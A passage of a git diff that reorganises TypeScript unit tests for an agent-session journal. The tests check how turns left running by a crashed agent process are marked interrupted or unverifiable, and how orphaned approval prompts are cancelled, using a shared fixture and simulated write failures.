=== 'item' ? unverifiable.body : null).toEqual({ - ...kept, - state: 'unverifiable' +it.each(['pid-absent', 'identity-mismatch'] as const)( + 'ends a %s proof at the last proof of life, never after the probe', + (kind) => { + const proof = (lastProvenAliveAt?: number) => ({ + kind, + detail: 'gone', + observedAt: 9_000, + ...(lastProvenAliveAt === undefined ? {} : { lastProvenAliveAt }) }) + // Last proof of life bounds completion so downtime is never counted as work. + expect(verdictForTurn(proof(8_000))).toEqual({ state: 'interrupted', completedAt: 8_000 }) + expect(verdictForTurn(proof(9_500))).toEqual({ state: 'interrupted', completedAt: 9_000 }) + expect(verdictForTurn(proof())).toEqual({ state: 'interrupted', completedAt: 9_000 }) + } +) + +it('ends a watched exit at the exit even when a renewal is recorded', () => { + expect( + verdictForTurn({ + kind: 'exit-observed', + detail: 'exit', + observedAt: 500, + lastProvenAliveAt: 400 + }) + ).toEqual({ state: 'interrupted', completedAt: 500 }) +}) + +it.each([0, -1, Number.NaN, Number.POSITIVE_INFINITY])( + 'keeps proven exit without an invalid time %s', + (observedAt) => { + expect(verdictForTurn({ kind: 'exit-observed', detail: '', observedAt })).toEqual({ + state: 'interrupted' + }) + } +) + +it('leaves a release nothing proved unverifiable', () => { + expect(verdictForTurn(null)).toEqual({ state: 'unverifiable' }) + expect(verdictForTurn(undefined)).toEqual({ state: 'unverifiable' }) +}) + +it('keeps the rule an older build applied to evidence that names no owner', () => { + // Legacy ownerless evidence proves only observed exit, never probe results. + const legacy = { detail: 'gone', observedAt: 9_000, lastProvenAliveAt: 8_000 } + expect(turnVerdictFromDeathEvidence({ ...legacy, kind: 'exit-observed' }, 1)).toEqual({ + state: 'interrupted', + completedAt: 9_000 }) + expect(turnVerdictFromDeathEvidence({ ...legacy, kind: 'pid-absent' }, 1)).toEqual({ + state: 'unverifiable' + }) +}) - it.each([0, -1, Number.NaN, Number.POSITIVE_INFINITY])( - 'keeps an untimed interruption for %s even when the saved turn has a start', - (completedAt) => { - const item = lifecycleItem('turn-2', 'running', 2, { startedAt: 500 }) - expect( - runningTurnLifecycleRevisions([item], { state: 'interrupted', completedAt }) - ).toMatchObject([{ body: { kind: 'turn', state: 'interrupted', startedAt: 500 } }]) - const [mutation] = runningTurnLifecycleRevisions([item], { +it('gives a turn no end from evidence about any other owner', () => { + const proof = { + kind: 'pid-absent' as const, + detail: 'gone', + observedAt: 9_000, + lastProvenAliveAt: 8_000 + } + // Another owner’s death or unknown turn provenance cannot prove this owner ended. + for (const [evidence, turnFence] of [ + [{ ...proof, ownerFence: 3 }, 1], + [{ ...proof, kind: 'exit-observed' as const, ownerFence: 3 }, 1], + [{ ...proof, ownerFence: 1 }, undefined] + ] as const) { + expect(turnVerdictFromDeathEvidence(evidence, turnFence)).toEqual({ state: 'unverifiable' }) + } +}) + +it('revises only running rows in place and carries an end time only for an observed exit', () => { + const items = [ + lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }), + lifecycleItem('turn-2', 'running', 2, { startedAt: 30, completedAt: 99 }) + ] + expect(runningTurnLifecycleRevisions(items, { state: 'interrupted', completedAt: 40 })).toEqual([ + { + kind: 'item', + itemId: agentJournalItemKey(RUNNING_IDENTITY), + body: { + kind: 'turn', + turnId: 'turn-2', state: 'interrupted', - completedAt - }) - expect(mutation?.kind === 'item' ? mutation.body : null).not.toHaveProperty('completedAt') + startedAt: 30, + completedAt: 40 + }, + turnScope: { kind: 'thread' } } - ) + ]) + expect(runningTurnLifecycleRevisions(items, { state: 'unverifiable' })).toEqual([ + expect.objectContaining({ + body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable', startedAt: 30 } + }) + ]) +}) - it('never ends a turn before it began, when the last proof of life predates it', () => { +it('keeps known turn fields and extensions in the rewrite', () => { + const contextUsage = { + used: { + kind: 'estimate' as const, + usage: { + inputTokens: 1, + cacheCreationInputTokens: 0, + cacheReadInputTokens: 90_000, + outputTokens: 5 + }, + capturedAt: 35 + } + } + const running = lifecycleItem('turn-2', 'running', 2, { startedAt: 30 }) + const body = { + ...running.body, + requestedAt: 29, + userItemId: 'user-2', + contextUsage, + laterField: { kept: true }, + outcome: 'success' as const, + durationMs: 7 + } + const items: AgentJournalRenderItem[] = [{ ...running, body }] + const kept = { + kind: 'turn', + turnId: 'turn-2', + startedAt: 30, + requestedAt: 29, + userItemId: 'user-2', + contextUsage, + laterField: { kept: true } + } + expect( + runningTurnLifecycleRevisions(items, { state: 'interrupted', completedAt: 40 })[0] + ).toMatchObject({ body: { ...kept, state: 'interrupted', completedAt: 40 } }) + expect(items[0]?.body).toHaveProperty('laterField') + const unverifiable = runningTurnLifecycleRevisions(items, UNVERIFIABLE_TURN_VERDICT)[0] + expect(unverifiable?.kind === 'item' ? unverifiable.body : null).toEqual({ + ...kept, + state: 'unverifiable' + }) +}) + +it.each([0, -1, Number.NaN, Number.POSITIVE_INFINITY])( + 'keeps an untimed interruption for %s even when the saved turn has a start', + (completedAt) => { const item = lifecycleItem('turn-2', 'running', 2, { startedAt: 500 }) expect( - runningTurnLifecycleRevisions([item], { state: 'interrupted', completedAt: 300 }) - ).toMatchObject([{ body: { kind: 'turn', state: 'interrupted', completedAt: 500 } }]) - }) + runningTurnLifecycleRevisions([item], { state: 'interrupted', completedAt }) + ).toMatchObject([{ body: { kind: 'turn', state: 'interrupted', startedAt: 500 } }]) + const [mutation] = runningTurnLifecycleRevisions([item], { + state: 'interrupted', + completedAt + }) + expect(mutation?.kind === 'item' ? mutation.body : null).not.toHaveProperty('completedAt') + } +) - it('revises a legacy status-form running row from an older host into a typed turn', () => { - expect( - runningTurnLifecycleRevisions([legacyLifecycleItem('turn-2', 30)], { state: 'unverifiable' }) - ).toEqual([ +it('never ends a turn before it began, when the last proof of life predates it', () => { + const item = lifecycleItem('turn-2', 'running', 2, { startedAt: 500 }) + expect( + runningTurnLifecycleRevisions([item], { state: 'interrupted', completedAt: 300 }) + ).toMatchObject([{ body: { kind: 'turn', state: 'interrupted', completedAt: 500 } }]) +}) + +it('revises a legacy status-form running row from an older host into a typed turn', () => { + expect( + runningTurnLifecycleRevisions([legacyLifecycleItem('turn-2', 30)], { state: 'unverifiable' }) + ).toEqual([ + { + kind: 'item', + itemId: agentJournalItemKey(RUNNING_IDENTITY), + body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable', startedAt: 30 }, + turnScope: { kind: 'thread' } + } + ]) +}) + +it('revises a saved row by its key even when its identity cannot be parsed', () => { + const item = { ...lifecycleItem('turn-2', 'running', 2), itemId: 'not-an-item-key' } + expect(runningTurnLifecycleRevisions([item], { state: 'unverifiable' })).toEqual([ + { + kind: 'item', + itemId: 'not-an-item-key', + body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable' }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ]) +}) + +it('marks a running row from the dead generation unverifiable without an end time', async () => { + const { journal, appendLifecycleBatch } = journalWith([ + lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }), + lifecycleItem('turn-2', 'running', 2, { startedAt: 30 }) + ]) + + await expect( + settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 14, + acquisitionGeneration: 'generation-2', + deathEvidence: null + }) + ).resolves.toBe(1) + + expect(appendLifecycleBatch).toHaveBeenCalledExactlyOnceWith({ + settlementId: 'stale-session:session-1:14:generation-2', + fence: 14, + recovered: true, + dispatches: [], + mutations: [ { kind: 'item', itemId: agentJournalItemKey(RUNNING_IDENTITY), body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable', startedAt: 30 }, turnScope: { kind: 'thread' } } - ]) - }) - - it('revises a saved row by its key even when its identity cannot be parsed', () => { - const item = { ...lifecycleItem('turn-2', 'running', 2), itemId: 'not-an-item-key' } - expect(runningTurnLifecycleRevisions([item], { state: 'unverifiable' })).toEqual([ - { - kind: 'item', - itemId: 'not-an-item-key', - body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable' }, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ]) - }) -}) - -const PROVEN: AgentSessionDeathEvidence = { - kind: 'pid-absent', - detail: 'recorded pid absent on host', - observedAt: 9_000, - ownerFence: 1, - lastProvenAliveAt: 100 -} - -describe('stale session state on a cold acquire', () => { - function journalWith(items: AgentJournalRenderItem[]) { - const appendLifecycleBatch = vi.fn(async () => ({ epoch: 'epoch-1', sequence: 9 })) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the settle reads only these journal members. - const journal = { - snapshot: () => ({ items }), - itemFence: () => 1, - lastProviderActivityAt: () => undefined, - stopMarks: { latest: () => null }, - cursor: () => ({ epoch: 'epoch-1', sequence: 8 }), - submissions: () => [], - appendPlannedLifecycleBatch: plannedBatchThrough(appendLifecycleBatch) - } as unknown as AgentSessionJournal - return { journal, appendLifecycleBatch } - } - - it('marks a running row from the dead generation unverifiable without an end time', async () => { - const { journal, appendLifecycleBatch } = journalWith([ - lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }), - lifecycleItem('turn-2', 'running', 2, { startedAt: 30 }) - ]) - - await expect( - settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 14, - acquisitionGeneration: 'generation-2', - deathEvidence: null - }) - ).resolves.toBe(1) - - expect(appendLifecycleBatch).toHaveBeenCalledExactlyOnceWith({ - settlementId: 'stale-session:session-1:14:generation-2', - fence: 14, - recovered: true, - dispatches: [], - mutations: [ - { - kind: 'item', - itemId: agentJournalItemKey(RUNNING_IDENTITY), - body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable', startedAt: 30 }, - turnScope: { kind: 'thread' } - } - ] - }) - }) - - it('cancels only prompts whose callbacks were lost with the prior owner', async () => { - const pending = promptItem('pending', 1) - const resolved = promptItem('resolved', 2) - const { journal, appendLifecycleBatch } = journalWith([pending, resolved]) - - await expect( - settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 14, - acquisitionGeneration: 'generation-2', - deathEvidence: null - }) - ).resolves.toBe(1) - - expect(appendLifecycleBatch).toHaveBeenCalledExactlyOnceWith({ - settlementId: 'stale-session:session-1:14:generation-2', - fence: 14, - recovered: true, - dispatches: [], - mutations: [ - { - kind: 'item', - itemId: pending.itemId, - body: { - ...pending.body, - resolution: { - state: 'cancelled', - selectedOptionId: null, - resolvedBy: null, - resolvedAt: null - } - }, - turnScope: { kind: 'thread' } - } - ] - }) - }) - - it("cancels a subagent's lost prompt as the subagent's, and the session's own as its own", async () => { - // Producer-free cancellation revisions must retain original attribution. - const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) - const journals = createTrackedJournalOpener() - try { - const journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - }, - stateDirectory: root, - now: () => 1_000 - }) - const child = { agentId: 'thread-child', producerKind: 'agent' as const } - const { body } = promptItem('pending', 1) - const prompt = (threadId: string) => ({ - provider: 'codex' as const, - threadId, - turnId: 'turn-1', - ordinal: 1 - }) - await journal.appendItem(prompt('thread-child'), body, { - fence: 1, - ...child, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.appendItem(prompt(THREAD), body, { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - - await settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 2, - acquisitionGeneration: 'generation-2', - deathEvidence: null - }) - - expect( - journal.snapshot().items.map((item) => [item.body.kind, item.revision, item.agentId]) - ).toEqual([ - ['approval', 2, 'thread-child'], - ['approval', 2, undefined] - ]) - } finally { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - } - }) - - it('uses provider output after a renewal, excluding a later client message', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) - const journals = createTrackedJournalOpener() - let now = 100 - try { - const journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - }, - stateDirectory: root, - now: () => now - }) - const command = { provider: 'codex' as const, threadId: THREAD, turnId: 'turn-1', ordinal: 1 } - const shell = { kind: 'tool-call' as const, name: 'shell', input: { command: 'pnpm test' } } - const turnScope = turnScopeOf({ ...command, ordinal: 0 }) - await journal.appendItem( - { ...command, ordinal: 0 }, - { kind: 'turn', turnId: 'turn-1', state: 'running', startedAt: 100 }, - { fence: 1, turnScope } - ) - now = 200 - await journal.appendItem(command, { ...shell, state: 'running' }, { fence: 1, turnScope }) - // Provider output can prove life after lease renewal. - now = 700 - await journal.appendItem( - command, - { ...shell, input: { command: 'pnpm test', streamed: 'ok' }, state: 'running' }, - { fence: 1, turnScope } - ) - now = 800 - await journal.appendItem( - { provider: 'orca', clientMessageId: 'late-send' }, - { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'next task' }] }, - { fence: 1, turnScope } - ) - now = 9_000 - - await settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 2, - acquisitionGeneration: 'generation-2', - deathEvidence: { - kind: 'pid-absent', - detail: 'recorded pid absent on host', - observedAt: 9_000, - ownerFence: 1, - lastProvenAliveAt: 650 - } - }) - - const items = journal.snapshot().items - expect(items.map((item) => readAgentJournalTurn(item.body)).find(Boolean)).toMatchObject({ - state: 'interrupted', - completedAt: 700 - }) - expect( - items.flatMap((item) => (item.body.kind === 'status' ? [item.body.text] : [])) - ).toEqual([ - 'The agent stopped while this response was in progress. You can continue in this conversation.' - ]) - } finally { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - } - }) - - it('ends a crashed turn at its last proof of life, not at a send accepted before the proof', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) - const journals = createTrackedJournalOpener() - let now = 100 - try { - const journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - }, - stateDirectory: root, - now: () => now - }) - await journal.appendItem( - RUNNING_IDENTITY, - { kind: 'turn', turnId: 'turn-2', state: 'running', startedAt: 100 }, - { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } - ) - now = 200 - await journal.appendItem( - { ...RUNNING_IDENTITY, ordinal: 1 }, - { kind: 'tool-call', name: 'shell', input: { command: 'pnpm test' }, state: 'running' }, - { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } - ) - const settle = (deathEvidence: AgentSessionDeathEvidence | null) => - settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 1, - acquisitionGeneration: null, - deathEvidence - }) - now = 3_600_000 - await settle(null) - const turn = () => journal.snapshot().items.map((item) => readAgentJournalTurn(item.body))[0] - expect(turn()).toMatchObject({ state: 'unverifiable' }) - now = 3_605_000 - await journal.appendSubmission({ - clientMessageId: 'send-1', - payloadFingerprint: 'fingerprint-1', - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'still there?' }] }, - fence: 1, - handoverRecorded: true - }) - await journal.resolveDispatch({ - clientMessageId: 'send-1', - state: 'pending', - turnScope: AGENT_JOURNAL_THREAD_SCOPE, - fence: 1 - }) - now = 3_606_000 - - await settle({ - kind: 'pid-absent', - detail: 'gone', - observedAt: 3_606_000, - ownerFence: 1, - lastProvenAliveAt: 210 - }) - - expect(turn()).toMatchObject({ state: 'interrupted', completedAt: 210 }) - } finally { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - } - }) - - it('revises an unverifiable turn only from a proof naming its own owner, and only once', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) - const journals = createTrackedJournalOpener() - let now = 100 - try { - const journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - }, - stateDirectory: root, - now: () => now - }) - await journal.appendItem( - RUNNING_IDENTITY, - { kind: 'turn', turnId: 'turn-2', state: 'running', startedAt: 100 }, - { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } - ) - now = 400 - const settle = (deathEvidence: AgentSessionDeathEvidence | null) => - settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 2, - acquisitionGeneration: null, - deathEvidence - }) - await settle(null) - now = 9_000 - const turn = () => journal.snapshot().items.map((item) => readAgentJournalTurn(item.body))[0] - expect(turn()).toMatchObject({ state: 'unverifiable' }) - - const unrevised = journal.cursor() - await expect(settle({ ...PROVEN, ownerFence: 2 })).resolves.toBe(0) - const { ownerFence: _ownerFence, ...olderBuildProof } = PROVEN - await expect(settle({ ...olderBuildProof, kind: 'exit-observed' })).resolves.toBe(0) - expect(journal.cursor()).toEqual(unrevised) - expect(turn()).toMatchObject({ state: 'unverifiable' }) - - await expect(settle(PROVEN)).resolves.toBe(2) - expect(turn()).toEqual({ - turnId: 'turn-2', - state: 'interrupted', - startedAt: 100, - completedAt: 100 - }) - const revised = journal.cursor() - await expect(settle(PROVEN)).resolves.toBe(0) - expect(journal.cursor()).toEqual(revised) - expect(journal.snapshot().items.filter((item) => item.body.kind === 'status')).toHaveLength(1) - } finally { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - } - }) - - it('adds one row for a death however many attempts its settle takes to write', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) - const journals = createTrackedJournalOpener() - let now = 100 - try { - const journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - }, - stateDirectory: root, - now: () => now - }) - for (let index = 0; index < 399; index++) { - const turnId = `turn-${index}` - await journal.appendItem( - { ...RUNNING_IDENTITY, turnId }, - { kind: 'turn', turnId, state: 'running', startedAt: 100 }, - { fence: 1, turnScope: turnScopeOf({ ...RUNNING_IDENTITY, turnId }) } - ) - } - now = 9_000 - const settle = () => - settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 2, - acquisitionGeneration: null, - deathEvidence: PROVEN - }) - const turns = () => - journal.snapshot().items.flatMap((item) => readAgentJournalTurn(item.body) ?? []) - const statusRows = () => - journal.snapshot().items.filter((item) => item.body.kind === 'status') - const database = openTestJournalHostDatabase(root) - const cursor = journal.cursor() - database.db.exec(`CREATE TEMP TRIGGER reject_later_stale_settlement - BEFORE INSERT ON journal_rows - WHEN NEW.session_id = 'session-1' AND NEW.seq > ${cursor.sequence + 1} - AND json_extract(NEW.row_json, '$.recovered') = 1 - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - - await expect(settle()).rejects.toThrow('disk full') - database.db.exec('DROP TRIGGER reject_later_stale_settlement') - expect(journal.cursor()).toEqual(cursor) - expect(turns().filter((turn) => turn.state === 'running')).toHaveLength(399) - expect(statusRows()).toHaveLength(0) - - await settle() - expect(turns().filter((turn) => turn.state !== 'interrupted')).toEqual([]) - expect(statusRows()).toHaveLength(1) - } finally { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - } - }) - - it('writes nothing when no turn is running and keys on the journal position without a generation', async () => { - const idle = journalWith([ - lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }) - ]) - await expect( - settleStaleStructuredAgentSessionState({ - journal: idle.journal, - sessionId: 'session-1', - fence: 14, - acquisitionGeneration: null, - deathEvidence: null - }) - ).resolves.toBe(0) - expect(idle.appendLifecycleBatch).not.toHaveBeenCalled() - - const running = journalWith([lifecycleItem('turn-2', 'running', 2)]) - await settleStaleStructuredAgentSessionState({ - journal: running.journal, - sessionId: 'session-1', - fence: 14, - acquisitionGeneration: null, - deathEvidence: null - }) - expect(running.appendLifecycleBatch).toHaveBeenCalledWith( - expect.objectContaining({ settlementId: 'stale-session:session-1:14:seq-8' }) - ) + ] }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-contract-test-fixture.ts new file mode 100644 index 00000000000..9620ca2989e --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-contract-test-fixture.ts @@ -0,0 +1,107 @@ +import { vi } from 'vitest' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' +import type { + AgentJournalItemIdentity, + AgentJournalRenderItem, + AgentJournalTurnScope +} from '../../../shared/agent-session-journal-types' +import type { AgentSessionDeathEvidence } from '../../../shared/agent-session-record' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { plannedBatchThrough } from './structured-agent-session-settlement-double.test-fixture' +import { turnVerdictFromDeathEvidence } from './structured-agent-session-stale-turn-verdict' + +export const THREAD = 'thread-1' + +export const RUNNING_IDENTITY = { + provider: 'codex' as const, + threadId: THREAD, + turnId: 'turn-2', + ordinal: 0 +} + +export function turnScopeOf(identity: AgentJournalItemIdentity): AgentJournalTurnScope { + return { kind: 'turn', turnItemId: agentJournalItemKey(identity) } +} + +export function lifecycleItem( + turnId: string, + state: 'running' | 'completed', + sequence: number, + extra: { startedAt?: number; completedAt?: number } = {} +): AgentJournalRenderItem { + return { + itemId: agentJournalItemKey({ provider: 'codex', threadId: THREAD, turnId, ordinal: 0 }), + revision: 1, + sequence, + observedAt: sequence, + body: { kind: 'turn', turnId, state, ...extra } + } +} + +/** Read legacy status-form lifecycle carriers without writing them back. */ + +export function legacyLifecycleItem(turnId: string, startedAt: number): AgentJournalRenderItem { + return { + ...lifecycleItem(turnId, 'running', 2), + body: { + kind: 'status', + text: 'Working', + turnLifecycle: { turnId, state: 'running', startedAt } + } + } +} + +export function promptItem( + state: 'pending' | 'resolved', + sequence: number +): AgentJournalRenderItem { + return { + itemId: agentJournalItemKey({ + provider: 'legacy', + agent: 'codex', + sessionId: 'session-1', + recordId: `approval-${state}` + }), + revision: 1, + sequence, + observedAt: sequence, + body: { + kind: 'approval', + title: 'Approve?', + detail: null, + options: [], + resolution: { + state, + selectedOptionId: state === 'resolved' ? 'allow' : null, + resolvedBy: state === 'resolved' ? 'client-1' : null, + resolvedAt: state === 'resolved' ? 10 : null + } + } + } +} + +export const verdictForTurn = (evidence: AgentSessionDeathEvidence | null | undefined) => + turnVerdictFromDeathEvidence(evidence && { ownerFence: 1, ...evidence }, 1) + +export const PROVEN: AgentSessionDeathEvidence = { + kind: 'pid-absent', + detail: 'recorded pid absent on host', + observedAt: 9_000, + ownerFence: 1, + lastProvenAliveAt: 100 +} + +export function journalWith(items: AgentJournalRenderItem[]) { + const appendLifecycleBatch = vi.fn(async () => ({ epoch: 'epoch-1', sequence: 9 })) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the settle reads only these journal members. + const journal = { + snapshot: () => ({ items }), + itemFence: () => 1, + lastProviderActivityAt: () => undefined, + stopMarks: { latest: () => null }, + cursor: () => ({ epoch: 'epoch-1', sequence: 8 }), + submissions: () => [], + appendPlannedLifecycleBatch: plannedBatchThrough(appendLifecycleBatch) + } as unknown as AgentSessionJournal + return { journal, appendLifecycleBatch } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-persistence.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-persistence.test.ts new file mode 100644 index 00000000000..9ec2aabca8b --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-persistence.test.ts @@ -0,0 +1,167 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { expect, it } from 'vitest' +import type { AgentSessionDeathEvidence } from '../../../shared/agent-session-record' +import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase +} from '../agent-session-journal/journal-host-database-test-support' +import { settleStaleStructuredAgentSessionState } from './structured-agent-session-dead-generation-settlement' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +import { + PROVEN, + RUNNING_IDENTITY, + THREAD, + journalWith, + lifecycleItem, + turnScopeOf +} from './structured-agent-session-stale-verdict-contract-test-fixture' + +it('revises an unverifiable turn only from a proof naming its own owner, and only once', async () => { + const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) + const journals = createTrackedJournalOpener({ legacyInputs: true }) + let now = 100 + try { + const journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + }, + stateDirectory: root, + now: () => now + }) + await journal.appendItem( + RUNNING_IDENTITY, + { kind: 'turn', turnId: 'turn-2', state: 'running', startedAt: 100 }, + { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } + ) + now = 400 + const settle = (deathEvidence: AgentSessionDeathEvidence | null) => + settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 2, + acquisitionGeneration: null, + deathEvidence + }) + await settle(null) + now = 9_000 + const turn = () => journal.snapshot().items.map((item) => readAgentJournalTurn(item.body))[0] + expect(turn()).toMatchObject({ state: 'unverifiable' }) + + const unrevised = journal.cursor() + await expect(settle({ ...PROVEN, ownerFence: 2 })).resolves.toBe(0) + const { ownerFence: _ownerFence, ...olderBuildProof } = PROVEN + await expect(settle({ ...olderBuildProof, kind: 'exit-observed' })).resolves.toBe(0) + expect(journal.cursor()).toEqual(unrevised) + expect(turn()).toMatchObject({ state: 'unverifiable' }) + + await expect(settle(PROVEN)).resolves.toBe(2) + expect(turn()).toEqual({ + turnId: 'turn-2', + state: 'interrupted', + startedAt: 100, + completedAt: 100 + }) + const revised = journal.cursor() + await expect(settle(PROVEN)).resolves.toBe(0) + expect(journal.cursor()).toEqual(revised) + expect(journal.snapshot().items.filter((item) => item.body.kind === 'status')).toHaveLength(1) + } finally { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + } +}) + +it('adds one row for a death however many attempts its settle takes to write', async () => { + const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) + const journals = createTrackedJournalOpener({ legacyInputs: true }) + let now = 100 + try { + const journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + }, + stateDirectory: root, + now: () => now + }) + for (let index = 0; index < 399; index++) { + const turnId = `turn-${index}` + await journal.appendItem( + { ...RUNNING_IDENTITY, turnId }, + { kind: 'turn', turnId, state: 'running', startedAt: 100 }, + { fence: 1, turnScope: turnScopeOf({ ...RUNNING_IDENTITY, turnId }) } + ) + } + now = 9_000 + const settle = () => + settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 2, + acquisitionGeneration: null, + deathEvidence: PROVEN + }) + const turns = () => + journal.snapshot().items.flatMap((item) => readAgentJournalTurn(item.body) ?? []) + const statusRows = () => journal.snapshot().items.filter((item) => item.body.kind === 'status') + const database = openTestJournalHostDatabase(root) + const cursor = journal.cursor() + database.db.exec(`CREATE TEMP TRIGGER reject_later_stale_settlement + BEFORE INSERT ON journal_rows + WHEN NEW.session_id = 'session-1' AND NEW.seq > ${cursor.sequence + 1} + AND json_extract(NEW.row_json, '$.recovered') = 1 + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + + await expect(settle()).rejects.toThrow('disk full') + database.db.exec('DROP TRIGGER reject_later_stale_settlement') + expect(journal.cursor()).toEqual(cursor) + expect(turns().filter((turn) => turn.state === 'running')).toHaveLength(399) + expect(statusRows()).toHaveLength(0) + + await settle() + expect(turns().filter((turn) => turn.state !== 'interrupted')).toEqual([]) + expect(statusRows()).toHaveLength(1) + } finally { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + } +}) + +it('writes nothing when no turn is running and keys on the journal position without a generation', async () => { + const idle = journalWith([ + lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }) + ]) + await expect( + settleStaleStructuredAgentSessionState({ + journal: idle.journal, + sessionId: 'session-1', + fence: 14, + acquisitionGeneration: null, + deathEvidence: null + }) + ).resolves.toBe(0) + expect(idle.appendLifecycleBatch).not.toHaveBeenCalled() + + const running = journalWith([lifecycleItem('turn-2', 'running', 2)]) + await settleStaleStructuredAgentSessionState({ + journal: running.journal, + sessionId: 'session-1', + fence: 14, + acquisitionGeneration: null, + deathEvidence: null + }) + expect(running.appendLifecycleBatch).toHaveBeenCalledWith( + expect.objectContaining({ settlementId: 'stale-session:session-1:14:seq-8' }) + ) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-prompts.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-prompts.test.ts new file mode 100644 index 00000000000..6506e8a4326 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-prompts.test.ts @@ -0,0 +1,250 @@ +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { expect, it } from 'vitest' +import type { AgentSessionDeathEvidence } from '../../../shared/agent-session-record' +import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import { createTrackedJournalOpener } from '../agent-session-journal/journal-host-database-test-support' +import { settleStaleStructuredAgentSessionState } from './structured-agent-session-dead-generation-settlement' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +import { + RUNNING_IDENTITY, + THREAD, + journalWith, + promptItem, + turnScopeOf +} from './structured-agent-session-stale-verdict-contract-test-fixture' + +it('cancels only prompts whose callbacks were lost with the prior owner', async () => { + const pending = promptItem('pending', 1) + const resolved = promptItem('resolved', 2) + const { journal, appendLifecycleBatch } = journalWith([pending, resolved]) + + await expect( 